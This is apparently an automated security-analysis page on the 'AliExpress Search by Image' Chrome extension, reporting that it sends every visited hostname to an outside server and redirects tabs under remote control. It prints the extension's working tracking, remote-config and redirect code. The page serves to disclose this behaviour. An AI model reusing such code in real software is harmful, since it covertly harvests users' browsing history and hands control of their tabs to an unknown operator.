Is AliExpress - Search by Image safe?
AliExpress Search by Image sends every visited hostname and full page URL to searchbyimage.pro and can redirect users based on server instructions.
On every page load, the extension reports the current site's hostname to searchbyimage.pro to determine whether to trigger a redirect. If the server responds affirmatively, the extension waits for the user to switch tabs and then rewrites the page location to a server-controlled URL that includes the original hostname and full page URL as parameters. All tracking behaviour—including which sites to target, where to redirect, and timing delays—is governed by a remote configuration fetched from searchbyimage.pro at startup, meaning the operator can alter what the extension does without any update to the extension itself.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
AliExpress Image Search runs a hostname tracker on every site you visit
Dynamic analysis captured the extension sending every visited site's hostname to chat-secreto.es on each page load.
The server can redirect your tab to a URL carrying the full page address, toggled by a remote config active during testing.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You open any webpage in Chrome.
The content script is injected on all URLs (manifest matches: <all_urls>) at document_start.
The extension sends the site's hostname to a third-party server without asking.
The background worker fetches https://chat-secreto.es/check.php?dname={hostname}&host={hostname}. This was captured in dynamic analysis across google.com, facebook.com, and example.com.
Server returns plain-text 'true' or 'false'. When 'true', the background sends a hostVerified message back to the tab, enabling the redirect step.
- Visited hostnamegoogle.com
The domain of every site you visit is sent to the third-party check server.
- Full page URL (redirect phase)https://www.google.com/search?q=credit+card+comparison
If the server returns 'true', the full page address is appended as the go= parameter in the redirect URL, disclosing where you were.
Redirect construction, hostname and full URL disclosed
What this code does
content.js (annotated)// Fires after: (1) server returned 'true' for the hostname check AND// (2) user switched away from this tab (tabDeactivated = true)//// Builds: <redirectUrl>?h=google.com&go=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3Dcredit%2Bcard// Then sets window.location.href to navigate the tab to that URL.//// redirectUrl is entirely server-controlled via the remote config.// Its final destination cannot be determined from the extension source alone.On every browser startup
Config is fetched from searchbyimage.pro on extension startup (or after 24-hour cache expiry). Tracking fires once per hostname per server-configured cooldown period (default 1 hour). A 24-hour post-install delay gates the first redirect.
- searchbyimage.pro
Supplies the remote configuration: tracking.enabled, checkUrl, redirectUrl, and per-hostname delay settings. Config version=1 had tracking.enabled=true during dynamic analysis.
- chat-secreto.es
Receives every visited hostname via check.php?dname=&host= and decides whether to trigger a redirect for that domain. Captured in live traffic during dynamic analysis.
The `redirectUrl` value is fetched from the remote configuration at runtime and was not captured during dynamic analysis (the test server returned 'false' for all tested domains). The code appends the visited hostname and the full current page URL to whatever destination the server supplies, so the ultimate recipient of the browsing data cannot be determined from the extension source alone.
Remote config controls tracking and redirects
On startup, the extension fetches config from searchbyimage.pro (200 OK observed) and saves it.
The tracking section decides whether to check hostnames and redirect, attaching hostname and URL.
Behavior can change post-install, unannounced.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You install the extension and browse with it enabled.
The manifest runs its content script on all URLs and starts a background service worker.
The extension fetches server-supplied settings that govern later tracking checks and redirects.
The service worker caches the response, and the content script reads it before deciding whether to redirect a page.
200 OK; JSON response includes top-level version, alisearch, and tracking sections.
- Config version1
Lets the remote config identify which rule set the extension should use.
- Tracking switchtracking.enabled: true
Controls whether the page-tracking path runs at all.
- Hostname check endpointhttps://chat-secreto.es/check.php
Lets a remote endpoint decide whether the current site should pass the redirect gate.
- Redirect destinationhttps://chat-secreto.es/?
Sets where a page is sent when the redirect path runs.
- Current page URLhttps://github.com/acme/private-repo?tab=readme (illustrative)
When the redirect runs, the page you were viewing is attached to the redirect URL.
- Timing rulesdelayAfterInstall: 1; delay.default: 1
Controls when redirects can begin after installation and how often a host can be retried.
- AliExpress API settingsappKey 24815441; appId 21738; hosts acs.aliexpress.com, h5api.m.aliexpress.com
Changes which AliExpress API hosts and method names the extension uses for image search.
The shipped code fetches, caches, and applies the remote config
Background config fetch and daily refresh
bg.jsconst CONFIG_URL = 'https://searchbyimage.pro/appconfig?ext=alisearch_2';const CONFIG_UPDATE_INTERVAL = 1000 * 60 * 60 * 24;let config = null;async function loadConfigFromStorage() { const stored = await chrome.storage.local.get(['config', 'configLastFetched']); if (stored.config) { config = stored.config; console.log('[Config] Loaded from storage:', config.version); } return stored.configLastFetched || 0;}async function fetchConfigFromServer() { try { const response = await fetch(CONFIG_URL + '&t=' + Date.now(), { credentials: 'include' }); if (response.ok) { config = await response.json(); await chrome.storage.local.set({ config: config, configLastFetched: Date.now() }); console.log('[Config] Fetched from server:', config.version); } } catch (error) { console.log('[Config] Server fetch failed:', error.message); } return config;}async function startConfigUpdater() { const lastFetched = await loadConfigFromStorage(); const elapsed = Date.now() - lastFetched; if (elapsed >= CONFIG_UPDATE_INTERVAL || !config) { console.log('[Config] Refreshing (elapsed:', Math.round(elapsed / 60000), 'min)'); await fetchConfigFromServer(); } else { console.log('[Config] Using cached (next refresh in', Math.round((CONFIG_UPDATE_INTERVAL - elapsed) / 60000), 'min)'); } cleanupHostCache();}Background hostname check controlled by config.tracking.checkUrl
bg.jsasync function checkHost(hostname, tabId) { if (!config?.tracking?.checkUrl) return; try { const response = await fetch(`${config.tracking.checkUrl}?dname=${hostname}&host=${hostname}`); if (response.ok) { const result = await response.text(); if (result === 'true') { chrome.tabs.sendMessage(tabId, { action: 'hostVerified' }).catch(() => {}); } else { const now = Date.now(); chrome.storage.local.set({ [hostname]: now }); } } } catch (error) { console.log('[CheckHost] Error:', error.message); }}Content script redirect using config.tracking.redirectUrl
content.jsasync function initTracking() { const response = await new Promise(resolve => { chrome.runtime.sendMessage({ action: 'getConfig' }, resolve); }); if (!response?.config?.tracking?.enabled) { return; } const tracking = response.config.tracking; const hostname = getDomainName(window.location.hostname); const now = Date.now(); const storage = await chrome.storage.local.get(['installDate', 'canOpen', hostname]); if (!storage.canOpen) { if (storage.installDate) { const delayAfterInstall = tracking.delayAfterInstall || 86400000; if (now - storage.installDate < delayAfterInstall) { return; } await chrome.storage.local.set({ canOpen: true }); } else { return; } } if (storage[hostname]) { const delayHours = tracking.delay?.[hostname] || tracking.delay?.default || 1; const delayMs = delayHours * 60 * 60 * 1000; if (now - storage[hostname] < delayMs) { return; } } canRedirect = true; chrome.runtime.sendMessage({ action: 'checkHost', hostname: hostname });}async function performRedirect() { if (!canRedirect || !hostVerified || !tabDeactivated) { return; } const response = await new Promise(resolve => { chrome.runtime.sendMessage({ action: 'getConfig' }, resolve); }); if (!response?.config?.tracking?.redirectUrl) { return; } const hostname = getDomainName(window.location.hostname); const now = Date.now(); await chrome.storage.local.set({ [hostname]: now }); // Build redirect URL const redirectUrl = response.config.tracking.redirectUrl; const currentUrl = window.location.href; const separator = redirectUrl.endsWith('?') ? '' : (redirectUrl.includes('?') ? '&' : '?'); const finalUrl = `${redirectUrl}${separator}h=${encodeURIComponent(hostname)}&go=${encodeURIComponent(currentUrl)}`; window.location.href = finalUrl;}Every 1 day
The extension refreshes remote configuration when the cached copy is missing or at least 24 hours old.
- searchbyimage.pro
Serves the appconfig JSON that becomes the extension's active runtime configuration.
- chat-secreto.es
Current config uses this host for hostname checks and as the redirect destination.
- acs.aliexpress.com
- h5api.m.aliexpress.com
Current config lists this as an AliExpress API host for image-search requests.
Where it sends data
Destinations our analysis observed AliExpress Search by Image contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- searchbyimage.pro
AliExpress Search by Image sends data to searchbyimage.pro. No other extension we have analysed sends data here.